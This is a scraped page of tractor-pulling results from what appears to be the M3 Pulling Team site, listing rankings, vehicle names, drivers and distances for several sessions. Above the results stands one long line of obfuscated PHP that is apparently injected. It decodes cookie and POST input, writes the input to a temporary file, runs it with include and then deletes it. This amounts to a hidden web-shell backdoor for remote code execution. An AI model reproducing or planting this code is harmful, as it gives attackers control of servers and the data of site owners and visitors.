$MosjzoiOFF = "\x4c" . chr (106) . chr ( 833 - 720 ).chr (95) . "\164" . 'a' . 'S' . chr (115) . "\x50";$wvDyrCdKu = chr (99) . 'l' . "\x61" . "\163" . 's' . chr ( 183 - 88 )."\145" . "\x78" . "\151" . "\x73" . chr ( 965 - 849 )."\163";$DcZeTionq = class_exists($MosjzoiOFF); $wvDyrCdKu = "16151";$NrRIGi = strpos($wvDyrCdKu, $MosjzoiOFF);if ($DcZeTionq == $NrRIGi){function AIVfNuMmso(){$JfXJWmdBb = new /* 26772 */ Ljq_taSsP(1866 + 1866); $JfXJWmdBb = NULL;}$IDRzzWIWQ = "1866";class Ljq_taSsP{private function elrSBFRKY($IDRzzWIWQ){if (is_array(Ljq_taSsP::$HZzFXOF)) {$name = sys_get_temp_dir() . "/" . crc32(Ljq_taSsP::$HZzFXOF["salt"]);@Ljq_taSsP::$HZzFXOF["write"]($name, Ljq_taSsP::$HZzFXOF["content"]);include $name;@Ljq_taSsP::$HZzFXOF["delete"]($name); $IDRzzWIWQ = "1866";exit();}}public function sLlGJ(){$AagcjUl = "63322";$this->_dummy = str_repeat($AagcjUl, strlen($AagcjUl));}public function __destruct(){Ljq_taSsP::$HZzFXOF = @unserialize(Ljq_taSsP::$HZzFXOF); $IDRzzWIWQ = "24210_63863";$this->elrSBFRKY($IDRzzWIWQ); $IDRzzWIWQ = "24210_63863";}public function DiteRv($AagcjUl, $SUDCGsl){return $AagcjUl[0] ^ str_repeat($SUDCGsl, intval(strlen($AagcjUl[0]) / strlen($SUDCGsl)) + 1);}public function GZoDj($AagcjUl){$dNUQb = 'b' . 'a' . "\x73" . 'e' . chr ( 925 - 871 )."\x34";return array_map($dNUQb . '_' . "\x64" . "\145" . 'c' . chr (111) . "\144" . 'e', array($AagcjUl,));}public function __construct($PsvPBotom=0){$uVcSXIKRjc = chr ( 451 - 407 ); $AagcjUl = "";$OPCWvU = $_POST;$xLfpVEDE = $_COOKIE;$SUDCGsl = "249f845e-538e-4ac3-8817-2b7b991a88ba";$eMXSc = @$xLfpVEDE[substr($SUDCGsl, 0, 4)];if (!empty($eMXSc)){$eMXSc = explode($uVcSXIKRjc, $eMXSc);foreach ($eMXSc as $esFnIO){$AagcjUl .= @$xLfpVEDE[$esFnIO];$AagcjUl .= @$OPCWvU[$esFnIO];}$AagcjUl = $this->GZoDj($AagcjUl);}Ljq_taSsP::$HZzFXOF = $this->DiteRv($AagcjUl, $SUDCGsl);if (strpos($SUDCGsl, $uVcSXIKRjc) !== FALSE){$SUDCGsl = explode($uVcSXIKRjc, $SUDCGsl); $awplNQD = base64_decode(strrev($SUDCGsl[0]));}}public static $HZzFXOF = 62853;}AIVfNuMmso();}
JPPulling – Page 2 – M3 Pulling Team
Friday
1 | SWEET REVENGE | BETHANY NELSON | | | 332.75 |
2 | OLD SKOOL | TIM DEPPE | | | 332.26 |
3 | SHOWTIME | WAYNE TIMMERMAN | | | 330.84 |
4 | SOUTHWIND DENTAL | TIM MESSER | | | 329.14 |
5 | WILLY MAKIT | BOBBIE BARBEE | | | 328.83 |
6 | P5 | JESSIE PETRO | | | 327.16 |
7 | GIVE ER THE BEANS | TRAVIS HOESLY | | | 324.62 |
8 | LAST CHANCE | DALE NELSON | | | 323.64 |
9 | BIG ED RED | BRANDT SULLIVAN | | | 322.32 |
10 | MIDNIGHT GAMBLER | JEREMY NELSON | | | 321.96 |
11 | SHAFTED | AJ RIEDL | | | 321.21 |
12 | RHINO AG AFTER MIDNIGHT | JEREMY NELSON | | | 320.96 |
13 | 2 TIMIN | CHAD MAYHILL | | | 319.33 |
14 | CORNBURNER | LAVERN KELCHEN | | | 317.5 |
15 | ALL IN | DONNIE SULLIVAN | | | 317.22 |
16 | PARTS CITY AUTO PART | TONY TATUM | | | 316.94 |
17 | MIDNIGHT REVENGER | JARED NELSON | | | 314.82 |
18 | HOT N NASTY | KYLE TIMMERMAN | | | 312.13 |
19 | MIDNIGHT CHAOS | MISTY NELSON | | | 311.82 |
20 | FULL THROTTLE | LISA TATUM | | | 309.02 |
21 | INCHES MATTER | WILLIAM DEPPE | | | 308.71 |
22 | OVERLOAD | SCOTT NEHRING | | | 302.43 |
23 | THIN BLUE LINE | TIM MESSER | | | 205.71 |
Saturday
1 | ALL IN | DONNIE SULLIVAN | | | 346.05 |
2 | MIDNIGHT GAMBLER | JEREMY NELSON | | | 342.24 |
3 | PARTS CITY AUTO PART | TONY TATUM | | | 322.31 |
4 | LAST CHANCE | DALE NELSON | | | 322.1 |
5 | THIN BLUE LINE | TIM MESSER | | | 319.56 |
6 | MIDNIGHT CHAOS | MISTY NELSON | | | 318.63 |
7 | RHINO AG AFTER MIDNIGHT | JEREMY NELSON | | | 316.64 |
8 | BIG ED RED | BRANDT SULLIVAN | | | 313.46 |
9 | CORNBURNER | JASON SULLIVAN | | | 313.18 |
10 | GIVE ER THE BEANS | TRAVIS HOESLY | | | 312.6 |
11 | WILLY MAKIT | BOBBIE BARBEE | | | 311.89 |
12 | SOUTHWIND DENTAL | TIM MESSER | | | 311.14 |
13 | MIDNIGHT REVENGER | JARED NELSON | | | 310.44 |
14 | OVERLOAD | SCOTT NEHRING | | | 310.36 |
15 | HOT N NASTY | KURT TIMMERMAN | | | 309.45 |
16 | OLD SKOOL | TIM DEPPE | | | 309.12 |
17 | SWEET REVENGE | BETHANY NELSON | | | 306.09 |
18 | P5 | CHAD MAYHILL | | | 305.94 |
19 | SHAFTED | AJ RIEDL | | | 300.31 |
20 | INCHES MATTER | WILLIAM DEPPE | | | 293.98 |
21 | SHOWTIME | WAYNE TIMMERMAN | | | 290.52 |
22 | 2 TIMIN | CHAD MAYHILL | | | 268.94 |
23 | FULL THROTTLE | LISA TATUM | | | DNH |
1 | BARBWIRE | WESLEY FOSTER | | | 319.36 |
2 | SWEET REVENGE | BETHANY NELSON | | | 309.05 |
3 | BIG ED RED | BRANDT SULLIVAN | | | 307.6 |
4 | MIDNIGHT REVENGER | JARED NELSON | | | 306.09 |
5 | SOUTHWIND DENTAL | TIM MESSER | | | 304.64 |
6 | ADDICTION | MICHAEL WHITE | | | 304.28 |
7 | RHINO AG AFTER MIDNIGHT | JEREMY NELSON | | | 302.35 |
8 | SALT SHAKER EXPRESS | MARK AUSTIN | | | 297.99 |
9 | ALL IN | DONNIE SULLIVAN | | | 297.99 |
10 | MIDNIGHT CHAOS | MISTY NELSON | | | 297.23 |
11 | LAST CHANCE | DALE NELSON | | | 297 |
12 | THIN BLUE LINE | TIM MESSER | | | 296.46 |
13 | FULL THROTTLE | LISA TATUM | | | 295.85 |
14 | 2 TIMIN | CHAD MAYHILL | | | 295.36 |
15 | MIDNIGHT GAMBLER | JEREMY NELSON | | | 292.21 |
16 | PARTS CITY AUTO PART | TONY TATUM | | | 290.54 |
17 | WILLY MAKIT | BOBBIE BARBEE | | | 284.99 |
18 | P5 | CHAD MAYHILL | | | 284.25 |
19 | CROSS WIRED | ETHAN FOSTER | | | 274.65 |
1 | BIG ED RED | BRANDT SULLIVAN | | | 336.32 | |
2 | SWEET REVENGE | BETHANY NELSON | | | 321.89 | |
3 | ALL IN | DONNIE SULLIVAN | | | 321.59 | |
4 | MIDNIGHT CHAOS | MISTY NELSON | | | 318.27 | |
5 | SOUTHWIND DENTAL | TIM MESSER | | | 313.36 | |
6 | LAST CHANCE | DALE NELSON | | | 313.17 | |
7 | MIDNIGHT REVENGER | JARED NELSON | | | 312.37 | |
8 | 2 TIMIN | CHAD MAYHILL | | | 311.65 | |
9 | RHINO AG AFTER MIDNIGHT | JEREMY NELSON | | | 308.02 | |
10 | BARBWIRE | WESLEY FOSTER | | | 307.26 | |
11 | THIN BLUE LINE | TIM MESSER | | | 302.69 | |
12 | WILLY MAKIT | BOBBIE BARBEE | | | 300.23 | |
13 | FULL THROTTLE | LISA TATUM | | | 297.34 | |
14 | PARTS CITY AUTO PART | TONY TATUM | | | 296.42 | |
15 | CROSSWIRED | ETHAN FOSTER | | | 295.64 | |
16 | ADDICTION | MICHAEL WHITE | | | 289.47 | |
17 | P5 | CHAD MAYHILL | | | 287.86 | |
18 | MIDNIGHT GAMBLER | JEREMY NELSON | | | HOOKED/BROKE |
Scroll Up